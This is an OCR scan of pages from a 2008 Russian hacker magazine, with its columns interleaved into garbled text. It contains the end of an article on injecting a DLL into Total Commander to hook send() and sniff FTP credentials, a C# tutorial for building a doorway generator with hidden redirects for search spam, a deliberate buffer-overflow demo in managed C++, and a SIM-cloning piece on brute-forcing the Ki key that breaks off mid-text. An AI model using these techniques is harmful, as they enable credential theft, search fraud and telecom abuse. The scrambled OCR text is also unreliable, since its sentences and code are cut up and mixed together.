3. Указатель на функцию подставы. В качестве функции подставы в моей известный TotalCommander при соединении с FTP сервером. Внедрив
библиотеке определена функция xSend(). нашу хакерскую библиотеку в процесс totalcmd.exe и запустив в
4. Указатель на переменную, для сохранения моста к оригинальной функ- Total Commander’е процесс соединения с FTP сервером, я наблюдал,
ции. Я указываю здесь _pOldSend. как лог начал заполняться командами протокола FTP. Поскольку этот
После выполнения HookProc() в текущем процессе вместо функции протокол не является безопасным, то все важные данные, передавае-
мые серверу, были успешно перехвачены. Результат ты можешь увидеть
на рисунке.

Обработчик Все готово


В простейшем примере я показал перехват только функции send(). Тем не

OnClick() менее, сетевой набор WinSock API содержит и другие функции для отправки
данных, а значит, у тебя есть полигон для новых испытаний. Не ленись
ставить различные эксперименты, ведь только путем проб и ошибок можно
_h := OpenProcess(PROCESS_ALL_ACCESS, false, решить любую задачу. Если у тебя возникли вопросы или предложения, то
StrToInt(lvProcessList.Selected.Caption)); милости прошу, я всегда открыт для общения. Ах, да, чуть не забыл. После
_dllPath := ExtractFilePath(ParamStr(0)) + выхода журнала в свет, на сайте www.vr-online.ru я выложу исходники, в
'test.dll'; которых будут реализованы примеры перехвата других API функций. Обяза-
InjectDll(_h, pchar(_dllPath)); тельно их скачай! z

108 xàêåð 05 /113/ 08


>> coding

Николай Байбородин
/ [email protected] /

Осторожно,
двери
открываются
Собираем недешевый дорген на C#

Продолжаем серию статей о самостоятельном создании SEO-софта. Сегодня


мы пересечем зыбкую грань, разделяющую белую и черную оптимизации.
Оставив в стороне моральную сторону вопроса и возможные санкции со
стороны поисковиков, сосредоточим внимание на технических вопросах со-
здания главного инструмента черных оптимизаторов — генератора дорвеев
или доргена.

Введение для чайников что гораздо выгоднее. Но выбиться в топ по высокочастотному запросу и,
Очень кратко о генерации дорвеев для тех, кто еще не в теме. Итак, дорвей тем более, удержаться там — задача не из тривиальных. Куда проще занять
(doorway) или просто дор. Это веб-страница, через которую можно попасть верхние позиции по низкочастотным запросам. Увы, по такому запросу и
на другие страницы того же или другого сайта. Если ты застал зарождение посетителей к нам придет гораздо меньше. Следовательно, на продаже
рунета, то наверняка помнишь, что большинство веб-сайтов открывались трафика мы срубим меньше капусты.
со страницы, не содержащей ничего, кроме заголовка, фуфлыжной кар- Выход? Окучивать как можно больше низкочастотных запросов, создавая
тинки и иногда ссылок на различные версии сайта под разные кодировки. под каждый из них свой дор и выводя его в топ SERPa. Чем больше доров,
В те времена поддержка нескольких кодировок в рамках одного браузера тем больше лавэ — зависимость прямая, как трамвайная шпала. Есть,
была большой проблемой, не говоря уже об автоматическом определении правда, один вопрос, который может не давать спокойно спать будущему
кодировки. Эта страница и есть doorway. КПД был ниже уровня плинтуса. сетевому олигарху. «А что, если пользователь, зайдя на doorway, сбежит
Для чего она тогда? А ни для чего :). Просто, так было модно, тенденции веб- оттуда, не перейдя ни по одной ссылке?». Правильный вопрос, потому что
дизайна, знаете ли. юзверь сейчас пошел тертый, пуганый и куда попало, его не заманишь. Да
Каким боком здесь участвует поисковая оптимизация? Подогнать под осо- и не надо. Потому что у нас есть такое чудо, как автоматический редирект
бенности конкретного поискового движка только одну страницу и вывести (исполненный чаще всего в виде сценария на языке JavaScript), перекиды-
ее в топ гораздо проще, чем выводить весь ресурс. А заполучив страницу в вающий пользователя к клиенту, проплатившему трафик еще до того, как
топах по определенным запросам, можно направлять с нее пользователей браузер успеет показать содержимое дора.
на другие страницы ресурса. Продолжим фантазировать. Выведя в топ та- Вот такая незамысловатая технология. Однако тут, как и в любом другом
кую страницу по очень популярному среди юзверей запросу, можно поиметь деле, не обойтись без нюансов. Их мы и обсудим.
неслабый трафик. И опять-таки, переправить по ссылкам на другие страни-
цы своего ресурса. Или не переправить, а заработать, разместив в дорвее Achtung! Грабли!
ссылки на проплаченные ресурсы. Так мы постепенно превращаемся из веб Первое, что необходимо знать начинающему заводчику доров — эта техно-
дизайнера-бессребреника в матерого продавца поискового трафика. логия всеми поисковыми системами относится к так называемой «черной
Продавать трафик можно либо самостоятельно, либо через посредников, оптимизации». То есть к методам, которые расцениваются как нарушение

110 xàêåð 05 /113/ 08


>> coding
правил игры и безжалостно караются системой модерации поисковиков. при условии прямых рук, есть реальная маза сделать его самостоятельно. А
Если твой дор спалили, то он не только навсегда вылетает из топа, но и за- там уже, как говорится: «Хочешь, ешь морковку, хочешь по-другому исполь-
носится в черный список поискового индекса, зарабатывая пожизненный зуй» (© Фаина Раневская). Хочешь — доры клепай, хочешь — доргеном сво-
бан. Надо сказать, поисковики весьма преуспели в борьбе с дорвеями и им барыжничай. Если смысл некоторых из перечисленных функций тебе не
валят их пачками. Отсюда безрадостный вывод — мало того, что для прием- понятен — это лишний шанс углубить свои познания в области поисковой
лемого дохода необходимо иметь не один дорвей, а целую их сеть, так еще оптимизации. Ссылки интересных ресурсов я тебе накидал (смотри врезки).
и создание дорвеев представляет собой непрерывный процесс. Короче,
сизифов труд. Взамен попавших в бан приходится постоянно создавать и С чего начать?
выводить в топ новые доры. Именно такой вопрос задает большинство тех, кто решил написать свой
Вторая проблема заключается в том, что, несмотря на заявления некото- собственный приватный мегарулезный дорген. Вопрос часто не находит
рых безответственных товарищей, редирект, даже выполненный в виде ответа, а дорген так и остается ненаписанным. Сейчас мы вместе преодоле-
JavaScript сценария, успешно палится практически всеми поисковиками, и ем этот психологический барьер.
страница с редиректом опять-таки летит в бан. Одно из решений проблемы Прежде всего, определяйся с той минимальной функциональностью,
— шифрование редиректа. Алгоритмы составления поискового индекса которая тебе нужна. Не увлекайся и выбери действительно критический
постоянно обновляются, в том числе и совершенствуя методы борьбы с чер- минимум, который и будет отличать будущий софт от, скажем, блокнота или
ной оптимизацией. Следовательно, приемы редиректа также нуждаются в CD Ejector’a :).
постоянном обновлении. Навороты можно добавлять постепенно, имея на руках уже функционирую-
щий дорген и используя его в своих грязных и не очень делишках. Короче,
И тут появляюсь я — весь такой в красном кури методологии итерационной разработки ПО.
Конечно же, читатель догадался, кто у нас сегодня в роли супермена. Это Функциональность для первого раза будет минимальной — выбор ключе-
— дорген, программа, основное назначение которой заключается в авто- вых фраз, шаблона, исходного текста, частоты ключевиков и количество
матизации рутинного и однообразного труда по быстрому и эффективному страниц, генерируемых под каждую ключевую фразу.
созданию дорвеев с учетом особенностей поисковых алгоритмов. Каким Интерфейс можешь построить, как у меня — или придумать свой вариант.
требованиям должен удовлетворять дорген? Что он должен уметь делать Список ключевых фраз будет храниться в обычном текстовом файле. В
обязательно, а что является всего лишь данью моде? Ответы на эти вопросы качестве разделителя — перевод строки (одна строка — одна ключевая
должен знать не только тот, кто собрался написать собственный дорген, но и фраза). Если не вдаваться в детали, алгоритм работы нашего доргена
тот, кто решился на его покупку. Ниже автор постарался привести наиболее будут следующим. Пользователь предварительно готовит файл с ключе-
полный список возможностей доргена. Тем не менее, не стоит думать, что выми фразами и файл с шаблоном HTML-верстки. Затем в окне доргена
это исчерпывающий список. Как и не стоит пытаться реализовать сразу указывает все необходимые параметры (путь к файлу с ключевиками, путь к
все опции. Наиболее эффективный подход — выбрать важный (на данный файлу с шаблоном, количество страниц в одном доре, плотность ключевых
момент данному пользователю) функционал и его реализовать. В после- слов, каталог для сохранения результата). Начинается главное действо.
дующих версиях можно будет наращивать возможности. Итак, перечень Прога перебирает список ключевиков, считает общее количество слов в
функциональных возможностей профессионального доргена включает в заготовленном текстовом материале, рассчитывает количество вхождений
себя: ключевика в текст на основе заданного показателя плотности и в случай-
• стилевое выделение ключевых слов; ном либо заданном порядке помещает ключевые фразы в исходный текст.
• использование тегов <b> и <strong>; Вставляем получившийся текст в HTML-шаблон в соответствии с заранее
• использование заголовков разного уровня; подготовленной разметкой. Добавляем теги <title>, <head> и сохраняем
• использование тегов <title>, <description>, <keywords>; получившийся файл. Повторяем для каждой ключевой фразы заданное
• возможность выбора шаблона оформления генерируемых страниц; количество раз.
• управление алгоритмами внешней и внутренней перелинковки генери- Финт №1. Когда дело дойдет до сохранения на винте готового дорвея,
руемых страниц; разумным шагом будет назначить ключевую фразу, под которую оптими-
• управление количеством страниц, входящих в один дорвей; зировалась бы страница в качестве имени файла. Это прибавит ей вес при
• управление объемом контента; оценке релевантности.
• возможность выбора источника контента для генерируемых страниц; Финт №2. Сохраняя файл с дором, заточенным под ключевую фразу из двух
• наличие генератора цепей Маркова;
• возможность управления плотностью ключевых слов;
Дорген на операционном столе :)
• возможность поиска ключевых слов и подбора поисковых
запросов;
• управление используемыми алгоритмами редиректа;
• возможность шифрования и обфускации программного кода;
• управление списком фидов;
• возможность автоматической загрузки доров на веб хостинг;
• правильное расположение редиректа (вверху страницы) неза-
висимо от используемого шаблона;
• возможность использовать ключевые слова в URL страницы;
• автоматическая перелинковка довеев, загружаемых из про-
граммы на разные хостинговые площадки;
• возможность импортирования списка ключевых слов из
файла;
• функции транслитерации, перевода ключевых слов и управле-
ния опечатками;
• возможность сокрытия поискового спама;
• управление частотой использования тегов оформления на
странице.
Список, как видишь, впечатляет. Дорген, обладающий подобной
функциональностью, стоит не один килограмм зелени. У тебя же,

xàêåð 05 /113/ 08
111
>> coding

Дорген: пример интерфейса


Дор в поисковой выдаче

и более слов, в названии файла эти слова лучше разделять с помощью Смысл написанного выше — вывести диалог открытия файла, коррект­
дефиса, а не нижнего подчеркивания, как привыкли многие кодеры. но обработать возможные ситуации и передать управление функции
Причина проста: поисковики расценивают две лексемы, объединенные с makeKeyList().
помощью нижнего подчеркивания как одно слово (которое может оказаться
поисковику неизвестным), в то время как составное слово с использовани- private void makeKeyList() {
ем дефиса прекрасно распознается как два отдельных слова. String a = null;
Теперь о шаблоне. Это обычный шаблон HTML-документа, каких в сети до while (!input.EndOfStream) {
фига и больше. Можешь выбрать тот, что тебе нравится. Автору приходилось a = input.ReadLine();
сталкиваться с двумя подходами к организации HTML-шаблонов в доргене. if (a != null) checkedListBox1.Items.Add(a);
Первый — шаблоны, жестко прописанные в доргене. Выбор фиксирован }
и невелик. Второй — возможность использовать любые HTML-файлы в input.Close();
качестве шаблона (с предварительным добавлением туда специальной }
разметки). Разметка представляет собой набор известных доргену ключей,
по которым он в процессе разбора шаблона узнает, какой элемент нужно Другими словами, читаем файл до одурения (до EndOfStream) и подсовы-
вставить в этом месте. Например: ваем строчки компоненту checkedListBox.
Аналогичным образом обрабатываем ввод остальных параметров (подроб-
{TEXT} — основной текст ности смотри в исходниках на диске). После того, как в листбокс загружен
{SCRIPT} — JS скрипт редиректа список ключевых фраз, нужно реализовать механизм выбора отдельных
{MAIN_KEYWORD} — кейворд страницы ключевиков, для которых будут создаваться страницы:
{RAN_KEYWORD} — случайный кейворд
private void checkedListBox1_ItemCheck(object sender,
И так далее. Кстати, пример разметки взят с сайта www.klikforum.com, где ItemCheckEventArgs e){
ты можешь расширить свои знания по теории дороводства. String item =
Недостаток подхода в том, что мы привязываем логику работы доргена к checkedListBox1.SelectedItem.ToString();
конкретному шаблону, жестко прописывая, где и что должно находиться. Я if (e.NewValue == CheckState.Checked)addKey(item);
советую тебе поступить иначе: обозначить в шаблоне основные его секции, else remKey(item);
а что в какой секции размещать — пусть решает программа с помощью }
заложенных в нее алгоритмов. В простейшем шаблоне секций будет не private void addKey(String val) {
так много — заголовок, текст, навигация, подвал. В более сложном можно if (keyList == null) keyList = new ArrayList(1);
расширить список. keyList.Add(val);
Нюансы мы обсудили. Пора приниматься за работу. }
private void remKey(String val) {
Муки творчества keyList.Remove(val);}
Начнем с загрузки списка ключевых фраз. Для этого хорошо подойдет
элемент управления checkedListBox. От простого списка он отличается Думаю, все понятно — ключевики, выбранные для дальнейшего исполь-
возможностью выбора элементов с помощью чекбоксов. Заполняться спи- зования, храним в списке keyList. Реагируем на действия пользователя
сок будет при нажатии соответствующей кнопки. Обработчик, я бы сказал, через событие NewValue. Поскольку дикий юзверь непредсказуем и может
не прост, а тривиален: жать на чекбокс не только с целью выбрать ключевую фразу, но и отменить
свой выбор, предусмотрена реакция на оба действия — методы addKey()и
DialogResult result = fileChooser.ShowDialog(); remKey().
String fileName;
if (result == DialogResult.Cancel)return;
fileName = fileChooser.FileName;
if (fileName == "" || fileName == null) Много вопросов вызывает перелинковка страниц дорвея и создание
MessageBox.Show("Ошибка выбора файла", "Error", сети из нескольких дорвеев. На этот счет не существует однозначного
MessageBoxButtons.OK, MessageBoxIcon.Error); мнения. Используют как простенькие элементарные схемы, так и
else { сложные, основанные на математическом аппарате, использующие
input = new StreamReader(fileName); динамическую или кольцевую перелинковку. Первое время можно
makeKeyList(); отталкиваться от идеи оформления связей в виде навигационного
} блока.

112 xàêåð 05 /113/ 08


>> coding
lex[step] = (String)keyList[i];
step += step;
}
}
}

Несколько комментариев! Для разделения строки на отдель- dvd


ные лексемы используется метод Split(), возвращающий Тебе легче вкурить
массив лексем. Вычисляя количество вхождений ключевика тему ковыряясь в
в текст, не забудь привести результат к целочисленному исходниках, чем читая
значению. описание алгоритмов
Как только текст будущего дорвея сформирован (кстати, на этом и принципов работы
этапе неплохо дополнительно предусмотреть вставку тегов программы? Нет проб­
<h>, <i>, <b>), работаем с ключевой фразой для повышения лем — на диске тебя
значимости ключевика. Думаю, ты справишься самостоя- ждет дорген из статьи
Страница Википедии, посвященная технологии дорвеев тельно. Чтобы вставить в соответствующие позиции шаблона в виде проекта для
нужные элементы, можно прикрутить стандартную функцию Visual Studio 2008.
Replace(), которая заменяет один фрагмент текста другим:
Обработав все элементы пользовательского интерфейса, дор-
ген находится, что называется, на взводе и готов выстрелить. template = templ.Replace
Создание дорвеев представляет собой последовательный ("#title", (String)keyList[i]);
процесс. Ниже я перечислил его основные этапы: template = template.Replace
1. Читаем в текстовую переменную HTML-шаблон; ("#header", header);
2. Читаем в текстовую переменную текст дора; template = template.Replace
3. Читаем в текстовую переменную текст редиректа; ("#redirect", redir);
4. Перебираем в цикле ключевики; String newText = ""; warning
4.1. Для каждой ключевой фразы рассчитываем количество for(int k = 0; k < lex.Length; k++) Помни, что исполь-
повторов; newText = newText + " " + lex[k]; зование дорвеев
4.2. Формируем заголовки; template = template.Replace всеми без исключе-
4.3. Разбавляем основной текст ключевыми фразами; ("#text", newText); ния поисковиками
4.4. Парсим шаблон, заменяя метки соответствующими относится к методам
элементами; Все, дор готов. Осталось записать его в отдельный файл, черной оптимизации и
4.5. Генерируем имя и сохраняем HTML-документ. повторить перечисленное выше н-ное количество раз в соот- жестоко карается ис-
Исходный текст этого алгоритма слишком объемен, чтобы его ветствии с количеством страниц дорвея, указанным пользова- ключением из индекса
публиковать в журнале, поэтому изучай исходник, выложенный телем, и перейти к следующей ключевой фразе. с одновременным
на диске. Остановимся на реализации основных моментов. Не забудь присвоить каждому файлу уникальное имя, пра- внесением в black list.
Для формирования содержимого дора необходимо исходный вильное с точки зрения поисковой оптимизации (включающее
текст разделить на отдельные лексемы (слова) и посчитать в себя ключевую фразу).
их общее количество. Исходя из заданной пользователем
плотности, рассчитываем количество повторов ключевой Гонка вооружений
фразы или слова. Теперь, зная количество повторов фразы в Рассмотренный в статье дорген — всего лишь демонстрация
тексте, нужно ее там разместить. Будет уместным использо- концепции. Ты можешь совершенствовать его практически
вать алгоритм, позволяющий получить текст, наиболее точно бесконечно, оттачивая навыки создания софта для поисковой
соответствующий естественному. Не будем ничего усложнять оптимизации. Еще раз посмотри на список того, что должен
— наша цель освоить общую концепцию создания доргенов. уметь идеальный дорген. Постарайся оценить его с позиции
Обойдемся обычным равномерным распределением по тексту. разработчика и начинай действовать.
Советую начать с добавления механизма навигации и лин-
String[] lex = content.Split(); ковки доров. Затем можешь усовершенствовать алгоритм
int lexCount = lex.Length; распределения ключевых фраз по тексту. Реализуй контроль
int keyTotalAmount = (int) объема текстовой информации, использование различных
(numericUpDown2.Value / 100 * lexCount); словарей (синонимов, опечаток и т.д.) и обработку исходного
if (keyTotalAmount != 0) { текста с помощью генератора цепей Маркова.
int step = (int)(lexCount / keyTotalAmount); И, самое главное, начни сам пользоваться своим доргеном.
for (int k = 0; k <= keyTotalAmount; k++) { Тогда ты точно будешь знать, какая функциональность ему
if (step <= lex.Length) { действительно необходима. z

При выборе плотности ключевых слов на странице важно соблюдать Одна из серьезных проблем — контент для наполнения дора. Самый
золотую середину. Заниженная плотность сделает ключевик неви- простой способ: позаимствовать с родственного ресурса. Он же и
димым — понизит релевантность страницы по запросам, в которые самый неэффективный. Дело в том, что поисковики давно научились
он входит. Слишком высокая плотность — прямой риск попасть распознавать и фильтровать дубли, склеивая результаты выдачи. Вы-
под категорию «поисковый спам» и заработать бан от поисковика. ход — использовать системы автоматического перевода (прогнать
Устанавливай наиболее эффективную плотность опытным путем, текст «туда — обратно»). Или придать уникальности с помощью
ориентируясь на показатель 6-8%. генератора текста на основе цепей Маркова.

xàêåð 05 /113/ 08
113
>> coding

Крис Касперски

трюки
от крыса
Долгое время мы витали вокруг чистого
ANSI C, без реверансов в сторону нестан-
дартных расширений от различных про-
изводителей, которых развелось столько,
что игнорировать их невозможно. Сего-
дня мы поговорим об интимных взаимоот-
ношениях Си с платформой .NET и управ-
ляемым (managed) кодом.

01 управляемый код на Си
Официально платформа .NET «крышует» C#, F#, Visual Basic и неко-
торые другие языки, в перечень которых Си, увы, не входит. Однако послед-
02
управляемый код и переполняющиеся буфера
Продвигая управляемый код на рынок, Microsoft неустанно пере-
числяла его преимущества: а) более высокую производительность на чисто
ние версии компилятора Microsoft Visual C++ поддерживают возможность вычислительных задачах; б) решение проблемы переполняющихся буферов;
трансляции программ в управляемый байт-код (по «научному» называемый в) наличие автоматического сборщика мусора, предотвращающего утечки
MSCIL — Microsoft Common Intermediate Language — Общий Промежуточный памяти.
Язык от Microsoft, но это слишком длинно и заумно, так что мы ограничимся Что касается производительности, то первые версии .NET’а действительно
термином «байт-код»). обгоняли Си/Си++ программы в некоторых тестах за счет более компактной
Если сделать небольшой пируэт, то можно писать Си программы на плюсах, структуры байт-кода и динамической оптимизации при трансляции в память.
транслируя их в байт-код. Конечно, «чистого» Си мы все равно не получим, Но уже начиная с .NET 2, производительность байт-кода заметно упала и
но, по крайней мере, обретем возможность вызывать функции стандартной положение спасает только то, что байт-код способен без перекомпиляции
библиотеки libc, «химичить» с указателями и т. д. Естественно, в силу стро- исполняться на процессорах разных типов (x86, x86-64, IA64), используя их
гой типизации языка Си++ придется ругаться матом (нецензурным кастин- преимущества, чего не может чистый машинный код.
гом), впрочем, об этом мы уже говорили в #09h выпуске «трюков». А вот контроль за буферами и сборка мусора реально работают только в C#
Чтобы заставить приплюснутый компилятор генерировать байт-код, достаточно программах (да и то не без оговорок). «Управляемый» код, полученный путем
воткнуть в начало программы «using namespace System;» и добавить к ко- трансляции Си++ программы, наследует все худшие черты языка Си. Это мы
мандной строке ключ «/CLR», пример использования которого приведен ниже: сейчас и продемонстрируем на примере умышленного переполнения буфера:

hello.cpp — программа на Си++, подготовленная к трансляции в Программа, подготовленная к трансляции в управляемый код
управляемый код и вызывающая функции стандартной библиотеки и допускающая переполнение буфера
языка Си #include <stdio.h>
#include <stdio.h> #include <string.h>
// используем пространство имен System (из .NET) using namespace System;
using namespace System;
void main() { void main() {
printf("hello, nezumi!\n"); char buf0[0x6]; char buf1[0x6]; char buf2[0x6];
} printf("enter str0 :");gets(buf0);
printf("enter str1 :");gets(buf1);
Трансляция указанного кода в исполняемый файл из командной строки printf("enter str2 :")123;gets(buf2);
осуществляется следующим образом: printf("your str is :%s,%s,%s\n",buf0,buf1,buf2);
}
$cl.exe /CLR hello.cpp
Компилируем написанную программу в управляемый код с помощью ключа
Если все сделано правильно, на диске образуется файл hello.exe, гото- /CLR и смотрим: сможет ли она справиться с ошибкой переполнения или нет.
вый к непосредственному исполнению и победоносно выводящий «hello, Мы имеем три массива по 06h байт каждый, куда вводим строки длинной в
nezumi!» на экран. 09h байт (эта величина выбрана произвольно).

114 xàêåð 05 /113/ 08


>> coding
Результат не заставляет себя ждать: clrcode.cpp — Си++ программа, подготовленная к трансляции
в управляемый код и вызывающая нативную
$hello-over.exe функцию native_foo()
enter str0 :111111111 #include "nativecode.h"
enter str1 :222222222 using namespace System;
enter str2 :333333333
your str is :1111111122222222333333333,222222223333333 namespace souriz {
33, ref class CPPClass {
333333333 public:
static String^ foo_wrapper()
Как видно, в buf0 «магическим» образом попали все три строки. В buf1 {
— вторая и третья строка; buf2 выглядит неповрежденным, но затирает wchar_t c[0x69];
находящиеся за ним данные (которых в нашем случае нет). В общем, все native_foo(c, sizeof(c) / sizeof(c[0]));
происходит так, как и следовало ожидать. Буфера последовательно разме- return gcnew String(c);
щаются в памяти, а переполнение одного из них воздействует на после- }
дующие. В защиту управляемого кода упомянем невозможность подмены };
адреса возврата из функции, а точнее нетривиальной этой операции, по- }
скольку архитектура виртуальной машины (с учетом компиляции части кода
в память) чрезвычайно запутана и реализовать целенаправленную атаку с Остается только заточить C# программу, вызывающую метод foo_
захватом управления намного сложнее. Так что какой-то смысл в управляе- wrapper() из Си++ программы. В свою очередь метод вызывает нативную
мом коде все же есть, но утечки памяти — это кошмар! Управляемый код, не функцию native_foo() — что осуществляется посредством конструкции
обремененный искусственным интеллектом, не может отличить ситуацию «CPPClass.foo_wrapper()»:
«выделил память и забыл освободить» от «выделил и решил (пока) не
использовать». Сборщик мусора реально «отлавливает» лишь небольшую program.cs — программа на C#, вызывающая метод foo_weapper() из
часть ошибок, когда указатель на динамическую память присваивается управляемого Си++ кода, который затем вызывает нативную функцию
локальной переменной функции и «погибает» вместе с ней при закрытии native_foo()
стекового фрейма. Стоит функции перед выходом передать этот указатель using System;
кому-то еще или сохранить его в глобальной переменной — все! Сборщик using souriz;
мусора его не тронет.
namespace nezumi
{

03 смесь управляемого и неуправляемого кодов


Приложения, критические к производительности, а также програм-
мы, взаимодействующие с «внешним» миром (например, оборудованием),
class Program
{
static void Main(string[] args)
пишутся на смеси управляемого и неуправляемого кодов. К счастью, язык {
C# позволяет вызывать управляемые модули, написанные на Си++, из String s = CPPClass.foo_wrapper();
которых в свою очередь можно вызывать «нативные» (native) функции, Console.WriteLine(s);
компилируемые в машинный код. }
Формально, виртуальная .NET-машина поддерживает механизм P/Invoke, }
предназначенный для прямых вызовов нативного кода, но в языках }
С#/Cи++ он реализован не лучшим образом и для решения поставленной
задачи приходится совершать большое количество телодвижений. Но мы А теперь собираем все это вместе с помощью следующего командного
не боимся трудностей! файла:
Для начала напишем Си++ программу, предназначенную для компиляции
в машинный код. В ней нет ничего сложного за тем исключением, что все make.bat — командный файл, собирающий все файлы проекта вое-
«экспортируемые» строки должны быть представлены в формате Unicode: дино
$cl.exe /c /MD nativecode.cpp
nativecode.cpp — Си++ программа, предназначенная для компиляции $cl.exe /clr /LN /MD clrcode.cpp nativecode.obj
в машинный код $csc.exe /target:module /addmodule:clrcode.netmodule
#include "string.h" Program.cs
#include "nativecode.h" $link.exe /LTCG /CLRIMAGETYPE:IJW /ENTRY:nezumi.
Program.Main /SUBSYSTEM:CONSOLE /ASSEMBLYMODULE:
void native_foo(wchar_t* c, int num) clrcode.netmodule /OUT:mix.exe clrcode.obj nativecode.
{ obj program.netmodule
wchar_t* s = L"hello, this is native code!";
wcsncpy_s(c, num, s, wcslen(s)); Если сборка прошла успешно, на диске образуется mix.exe файл, заглянув
} в который дизассемблером, мы увидим смесь управляемого и неуправ-
ляемого кодов. Проблема в том, что IDA Pro (самый популярный хакерский
Тут же создадим заголовочный файл (nativecode.h ) с прототипом функ- дизассемблер) не поддерживает смешанный режим и показывает либо
ции native_foo(), включаемый в остальные файлы проекта: машинный, либо управляемый код, в зависимости от настроек, выбранных
еще на стадии загрузки исследуемого файла в базу. А потому написание
void native_foo(wchar_t* c, int num); «смешанных» программ — хороший защитный прием, существенно за-
трудняющий анализ (большинство начинающих хакеров вообще не увидят
Теперь пишем Си++ программу, транслируемую в управляемый код и вызы- машинный код в .NET сборке и будут долго гадать, как же все это работает).
вающую нашу нативную функцию native_foo(), что достигается за счет Отладка «смешанных» программ, не содержащих отладочной информации
использования конструкции «ref class CPPClass»: (по умолчанию она не генерируется) — вообще кошмар, серьезно напря-
гающий даже гуру. z

xàêåð 05 /113/ 08
115
>> phreaking

Артемий (Di Halt) Исламов


/ [email protected] /

Полтора десятка мобильных аккаунтов на одной SIM’ке.

Так уж случилось, чел я подвижный. Самый продвинутый способ — использование Multi SIM. Например, очень
популярна Silver Card. Представляет из себя обычную SIM-ку (только
Мотаюсь из города в город по делам серебристого цвета и без опознавательных знаков). При вставке в телефон
появляется дополнительное меню, где можно выбрать на какой номер
или просто в гости, а поскольку ро- переключиться. Всего в Silver Card можно забить от десяти до шестнадцати
аккаунтов, в зависимости от версии прошивки. Также существует Green
уминг у нас по-прежнему грабитель- Card, A-SIM и прочие аналоги. Различие между ними лишь в количестве
ячеек, размере записной книжки и количестве запоминаемых SMS.
ский, то расходы на телефон выходят
Как это работает
неслабые. Иной раз забредаешь Чтобы понять, что представляет собой SIM-карта, нужно разобрать процесс
аутентификации в сети. Внутри крошечной симки находится довольно
в такую глушь, что ловят лишь счи- мощный микроконтроллер, как правило, PIC, со своей микрооперационной
системой, специфическим интерфейсом и набором функций. Последних
танные операторы. Вот и приходится там немного — чтение и запись в память, выдача сообщений на экран те-
лефона, манипуляции с определением номера и, главное, генерация кодов
регистрироваться у кучи разных для декодирования голосового потока и аутентификации в сети. SIM-карта
имеет своеобразную файловую систему, хранящую в себе кучу служебной
ОПСОСов и таскать с собой тьму SIM- информации, а также SMS сообщения и коды доступа в сеть — International

карт. Сначала я ныкал их под крыш- Mobile Subscriber Identity (IMSI) и Key for identification (Ki) коды.
IMSI и Ki хранятся в SIM-карте и у оператора (это как логин и пароль).
кой аккумулятора, но потом надоело. Упрощенно процедура регистрации в сети выглядит следующим образом.
Мобильный телефон передает базовой станции свой IMSI-код. В ответ
Стал искать другие пути. Как оказа- станция генерирует случайное число и отсылает его в телефон. Телефон
передает это число в SIM-карту, где процессор карты пропускает его и
лось, наработок немало. Ki-код через хэш алгоритм. Одновременно это случайное число и Ki,
связанный с данным IMSI, проводится через такой же алгоритм на базовой
станции. Затем SIM-карта отдает хэш телефону, а тот отсылает его на базо-
Сокровища гопорынков вую станцию, где происходит сверка с хэшем, полученным при внутреннем
Пошарив по местным гоповникам, торгующим сотовыми и всякими прогоне выданного случайного числа и Ki. Если числа совпадают, значит
прибамбасами к ним, я наткнулся на несколько решений. Первое, одно из — абонент тот самый и происходит регистрация в сети. Хэш сохраняется
самых примитивных и древних, это вынос SIM-карт посредством гибкого в памяти телефона и базовой станции в качестве ключа для кодирова-
шлейфа из телефона наружу, в накладной задник. Сам понимаешь, выгля- ния и декодирования голосового потока. Как видишь, Ki-код никогда не
дит это очень коряво — накладка портит весь дизайн. Есть и второй вари- покидает ни базовую станцию, ни SIM-карту и выдрать его оттуда напрямую
ант — более компактный, но суть та же. Берутся две стандартные SIM-карты практически невозможно. Точнее, способ есть, но связан он с такими
и из каждой вырезается острыми ножницами пятачок с контактами (под дикими затратами денег и времени (осуществляется посредством спили-
ним находится процессор, а остальная часть карты — безмозглый пластик). вания кристалла процессора на спецоборудовании и непосредственного
Затем пятачки вставляются в специальный переходник, в котором также считывания из памяти в обход CPU контроллера), что вряд ли с этим кто-то
смонтирована схема мультиплексор, переключающая карточки либо через будет заморачиваться.
меню, либо посредством включения-выключения телефона (при каждом Для клонирования SIM-карты нужно знать и IMSI, и Ki коды. Что же делать
on/off происходит выбор новой SIM-карты). Получившаяся конструкция за- в таком случае? Ответ прост — брутфорс. Хэш алгоритм не идеален и в
совывается на место штатной SIM-ки. Метод хорош, но требует прямых рук, большинстве случаев удается вычислить Ki-код по ответам SIM-карты.
да и не в каждый телефон можно запихать подобную фиговину. Например, Проблема в том, что SIM-карта обладает ограниченным числом обращений
в мой Siemens SK65 она банально не влезет — слишком узкий и плоский к алгоритму генерации хэша. После их исчерпания симка блокируется на-
картодержатель. К тому же, максимальное число карт, которые можно туда мертво, и ты можешь смело смыть ее в унитаз, а лучше пойти с ней к опера-
запихать, равняется двум. тору и, прикинувшись шлангом, сказать, что вдруг сломалась. С вероятно-

116 xàêåð 05 /113/ 08


>> phreaking

Список радиодеталей. Конденсаторы электролитические:


Можешь с ним идти на радиорынок 470 Микро Фарад 25 вольт — 2шт.
или в магазин радиодеталей. Там
тебя поймут :). Диоды:
1N4148 или аналог — 3 шт.
Резисторы на 0.125 Вт (можно и на 0.5 Вт,
но не желательно) номиналом: Светодиод:
2.2 КилоОм — 1шт. Любой из маленьких. На 3.5 вольта.
10 КилоОм — 4шт.
15 КилоОм — 1шт. Транзисторы КТ3102Д — 1 шт.
22 КилоОм — 1шт. Кварц на 3.579545 МГц — 1шт.
1 МегаОм — 1 шт. Микросхема 74HC04 — 1шт.

Конденсаторы керамические: Также прикупи стандартную розетку


33 ПикоФарады — 2 шт. COM разъема — DB-9 или оторви ее от
100 НаноФарады — 2 шт. древней мыши.

Виды MultiSIM карт. с телефона через менюшку.


Китайцы как всегда подсуети-
списках телефона внесенные
в нее номера и позволяет
Отличаются количеством лись и выпустили свой аналог переключать номера по
встроенной памяти. В класси- Silver/Green карт под названи- хоткеям (например, 1111
ческом Silver’е — 64 килобай- ем SIMMAX. Перешить или и вызов — переключить на
та памяти, у Green — 128, у изменить в них прошивку уже первый номер; 2222 и вызов
Silver Card — наиболее Green 2 — аж 256. Количество нельзя, но зато и от пользо- — на второй номер и так
распространенная платфор- памяти влияет лишь на число вателя требуется минимум далее). Количество функций
ма, при этом совершенно сохраняемых номеров и SMS. телодвижений — все делается постепенно увеличивают, так
открытая. Она же является Карты Green встречаются либо с телефона, либо через как разработчики не стоят
самой дешевой и переклю- крайне редко, так как практи- специальный reader, обычно на месте. А еще исправлен
